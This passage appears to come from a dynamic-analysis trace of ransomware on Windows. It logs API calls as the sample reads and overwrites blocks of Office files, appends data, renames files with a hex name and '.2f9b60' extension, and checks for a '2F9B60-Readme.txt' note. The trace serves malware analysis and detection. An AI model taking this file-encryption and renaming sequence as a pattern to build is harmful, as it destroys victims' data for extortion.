[0144.646] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff1c0 [0144.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fd720) returned 1 [0144.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.647] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.648] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4232e130 [0144.648] ReadFile (in: hFile=0x1ed8, lpBuffer=0x42326910, nNumberOfBytesToRead=0x71, lpNumberOfBytesRead=0x3aedfa70, lpOverlapped=0x0 | out: lpBuffer=0x42326910*, lpNumberOfBytesRead=0x3aedfa70*=0x71, lpOverlapped=0x0) returned 1 [0144.649] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.649] WriteFile (in: hFile=0x1ed8, lpBuffer=0x4232e130*, nNumberOfBytesToWrite=0x71, lpNumberOfBytesWritten=0x3aedfa74, lpOverlapped=0x0 | out: lpBuffer=0x4232e130*, lpNumberOfBytesWritten=0x3aedfa74*=0x71, lpOverlapped=0x0) returned 1 [0144.688] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4232e130) returned 1 [0144.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0144.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9f5b0 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.690] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9fbf0 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.690] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204feef0 [0144.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204feef0) returned 1 [0144.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.691] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.691] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x166f20 [0144.691] SetFilePointerEx (in: hFile=0x1ed8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.691] WriteFile (in: hFile=0x1ed8, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3aedfb90, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x3aedfb90*=0x118, lpOverlapped=0x0) returned 1 [0144.704] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.705] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x204ff2e0 [0144.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff5e0 [0144.705] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe080 [0144.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe080) returned 1 [0144.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.706] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.706] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd9df70 [0144.706] sprintf (in: _Dest=0x1cd9df70, _Format="%c%c" | out: _Dest="ec") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df72, _Format="%c%c" | out: _Dest="7f") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df74, _Format="%c%c" | out: _Dest="15") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df76, _Format="%c%c" | out: _Dest="44") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df78, _Format="%c%c" | out: _Dest="38") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df7a, _Format="%c%c" | out: _Dest="80") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df7c, _Format="%c%c" | out: _Dest="3f") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df7e, _Format="%c%c" | out: _Dest="26") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df80, _Format="%c%c" | out: _Dest="4c") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df82, _Format="%c%c" | out: _Dest="a9") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df84, _Format="%c%c" | out: _Dest="7b") returned 2 [0144.706] sprintf (in: _Dest=0x1cd9df86, _Format="%c%c" | out: _Dest="86") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df88, _Format="%c%c" | out: _Dest="c0") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df8a, _Format="%c%c" | out: _Dest="c7") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df8c, _Format="%c%c" | out: _Dest="ec") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df8e, _Format="%c%c" | out: _Dest="02") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df90, _Format="%c%c" | out: _Dest="d0") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df92, _Format="%c%c" | out: _Dest="c3") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df94, _Format="%c%c" | out: _Dest="d9") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df96, _Format="%c%c" | out: _Dest="51") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df98, _Format="%c%c" | out: _Dest="fd") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df9a, _Format="%c%c" | out: _Dest="ab") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df9c, _Format="%c%c" | out: _Dest="2a") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9df9e, _Format="%c%c" | out: _Dest="ac") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfa0, _Format="%c%c" | out: _Dest="11") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfa2, _Format="%c%c" | out: _Dest="af") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfa4, _Format="%c%c" | out: _Dest="24") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfa6, _Format="%c%c" | out: _Dest="8f") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfa8, _Format="%c%c" | out: _Dest="a6") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfaa, _Format="%c%c" | out: _Dest="71") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfac, _Format="%c%c" | out: _Dest="f4") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfae, _Format="%c%c" | out: _Dest="57") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfb0, _Format="%c%c" | out: _Dest="b9") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfb2, _Format="%c%c" | out: _Dest="4a") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfb4, _Format="%c%c" | out: _Dest="5b") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfb6, _Format="%c%c" | out: _Dest="69") returned 2 [0144.707] sprintf (in: _Dest=0x1cd9dfb8, _Format="%c%c" | out: _Dest="4d") returned 2 [0144.708] sprintf (in: _Dest=0x1cd9dfba, _Format="%c%c" | out: _Dest="48") returned 2 [0144.708] RtlInitAnsiString (in: DestinationString=0x3aedfc08, SourceString="ec7f154438803f264ca97b86c0c7ec02d0c3d951fdab2aac11af248fa671f457b94a5b694d48" | out: DestinationString="ec7f154438803f264ca97b86c0c7ec02d0c3d951fdab2aac11af248fa671f457b94a5b694d48") [0144.708] RtlAnsiStringToUnicodeString (in: DestinationString=0x3aedfbd8, SourceString="ec7f154438803f264ca97b86c0c7ec02d0c3d951fdab2aac11af248fa671f457b94a5b694d48", AllocateDestinationString=1 | out: DestinationString="ec7f154438803f264ca97b86c0c7ec02d0c3d951fdab2aac11af248fa671f457b94a5b694d48") returned 0x0 [0144.708] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x2050b740 [0144.708] RtlFreeAnsiString (AnsiString="e") [0144.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9df70) returned 1 [0144.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff5e0) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fbf0) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f5b0) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.709] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe3e0) returned 1 [0144.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff280) returned 1 [0144.710] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff1c0) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20508d10 [0144.710] wcscat (in: _Dest=0x20508d10, _Source="ec7f154438803f264ca" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca" [0144.710] wcscat (in: _Dest=0x20508d10, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca.2f9b60" [0144.710] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca.2f9b60", NtPathName=0x3aedfbb0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ec7f154438803f264ca.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.710] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x1ce22aa0 [0144.710] NtSetInformationFile (FileHandle=0x1ed8, IoStatusBlock=0x3aedfc50, FileInformation=0x1ce22aa0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0146.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce22aa0) returned 1 [0146.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20290ba0) returned 1 [0146.124] NtQueryInformationFile (in: FileHandle=0x1ed8, IoStatusBlock=0x3aedfc18, FileInformation=0x3aedfc28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3aedfc18, FileInformation=0x3aedfc28) returned 0x0 [0146.124] NtSetInformationFile (FileHandle=0x1ed8, IoStatusBlock=0x3aedfc18, FileInformation=0x3aedfc28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508d10) returned 1 [0146.126] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b740) returned 1 [0146.126] FlushFileBuffers (hFile=0x1ed8) returned 1 [0146.251] CloseHandle (hObject=0x1ed8) returned 1 [0146.252] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202ae260 [0146.252] wcscpy (in: _Dest=0x202ae260, _Source="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\" [0146.252] wcscat (in: _Dest=0x202ae260, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" [0146.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\2f9b60-readme.txt")) returned 0x20 [0146.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ae260) returned 1 [0146.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202af6a0) returned 1 Thread: id = 2173 os_tid = 0x1584 [0140.257] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs")) returned 0x20 [0140.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS", dwFileAttributes=0x20) returned 1 [0140.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\EXCEL.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\excel.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ecc [0144.633] GetFileSizeEx (in: hFile=0x1ecc, lpFileSize=0x3b07f6a0 | out: lpFileSize=0x3b07f6a0*=7827686) returned 1 [0144.633] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x7770e2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.633] ReadFile (in: hFile=0x1ecc, lpBuffer=0x3b07f620, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b07f668, lpOverlapped=0x0 | out: lpBuffer=0x3b07f620*, lpNumberOfBytesRead=0x3b07f668*=0x4, lpOverlapped=0x0) returned 1 [0144.675] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe410 [0144.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe5c0 [0144.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe500 [0144.675] NtQuerySystemTime (in: CurrentTime=0x3b07f560 | out: CurrentTime=0x3b07f560*=132462177499234000) returned 0x0 [0144.675] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x5e551f1b [0144.675] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x1271fd73 [0144.675] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x206db442 [0144.675] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x38ed4ddb [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x1ed77c4c [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0xb57655d [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x39296cd0 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x57759976 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x63423955 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x31c25fc1 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x595f6042 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x75831668 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x7a3a4764 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0xe565e2e [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x6da931e1 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0xa7631b4 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x12be5cac [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x7d190415 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x6986c464 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x4d37bf1b [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x5f067003 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x4a5a62c2 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x3cc86c63 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x27de6de2 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x23f2ba87 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x4f823fdd [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x2e9d7ba9 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x148630ad [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x5a3b1003 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x24e5d740 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x1f5b8661 [0144.676] RtlRandomEx (in: Seed=0x3b07f550 | out: Seed=0x3b07f550) returned 0x370f4f33 [0144.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe590 [0144.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061e30 [0144.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fef50 [0144.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061e30) returned 1 [0144.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe500) returned 1 [0144.686] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe410) returned 1 [0144.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423178d0 [0144.686] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.686] ReadFile (in: hFile=0x1ecc, lpBuffer=0x423178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b07f5c0, lpOverlapped=0x0 | out: lpBuffer=0x423178d0*, lpNumberOfBytesRead=0x3b07f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0144.701] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061fb0 [0144.701] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff130) returned 1 [0144.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42326910 [0144.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff130 [0144.702] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ff2e0 [0144.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ff2e0) returned 1 [0144.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061fb0) returned 1 [0144.703] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.703] WriteFile (hFile=0x1ecc, lpBuffer=0x42326910, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b07f5c0, lpOverlapped=0x0) [0179.963] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42326910) returned 1 [0179.963] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x3bc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.963] ReadFile (in: hFile=0x1ecc, lpBuffer=0x423178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b07f5c0, lpOverlapped=0x0 | out: lpBuffer=0x423178d0*, lpNumberOfBytesRead=0x3b07f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0182.784] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x3bc400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058740 [0182.784] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba9e0 [0182.785] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30470 [0182.786] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d30470) returned 1 [0182.786] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427ffa20 [0182.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d30470 [0182.787] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d304a0 [0182.787] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d304a0) returned 1 [0182.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba9e0) returned 1 [0182.788] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058740) returned 1 [0182.788] WriteFile (in: hFile=0x1ecc, lpBuffer=0x427ffa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b07f5c0, lpOverlapped=0x0 | out: lpBuffer=0x427ffa20*, lpNumberOfBytesWritten=0x3b07f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0197.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427ffa20) returned 1 [0197.891] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x7734e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.891] ReadFile (in: hFile=0x1ecc, lpBuffer=0x423178d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b07f5c0, lpOverlapped=0x0 | out: lpBuffer=0x423178d0*, lpNumberOfBytesRead=0x3b07f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0198.892] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x7734e6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059240 [0198.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0198.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b8f0 [0198.894] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b8f0) returned 1 [0198.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x430030d0 [0198.894] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b8f0 [0198.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313b920 [0198.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313b920) returned 1 [0198.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0198.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059240) returned 1 [0198.896] WriteFile (in: hFile=0x1ecc, lpBuffer=0x430030d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b07f5c0, lpOverlapped=0x0 | out: lpBuffer=0x430030d0*, lpNumberOfBytesWritten=0x3b07f5c0*=0x3c00, lpOverlapped=0x0) returned 1 [0213.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430030d0) returned 1 [0213.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4319f830 [0213.896] SetFilePointerEx (in: hFile=0x1ecc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0213.896] WriteFile (in: hFile=0x1ecc, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x3b07f670, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x3b07f670*=0x144, lpOverlapped=0x0) returned 1 [0216.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced16b0 [0216.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a040 [0216.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266150 [0216.666] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266150) returned 1 [0216.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0216.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266150 [0216.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266120 [0216.667] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266120) returned 1 [0216.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a040) returned 1 [0216.668] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, 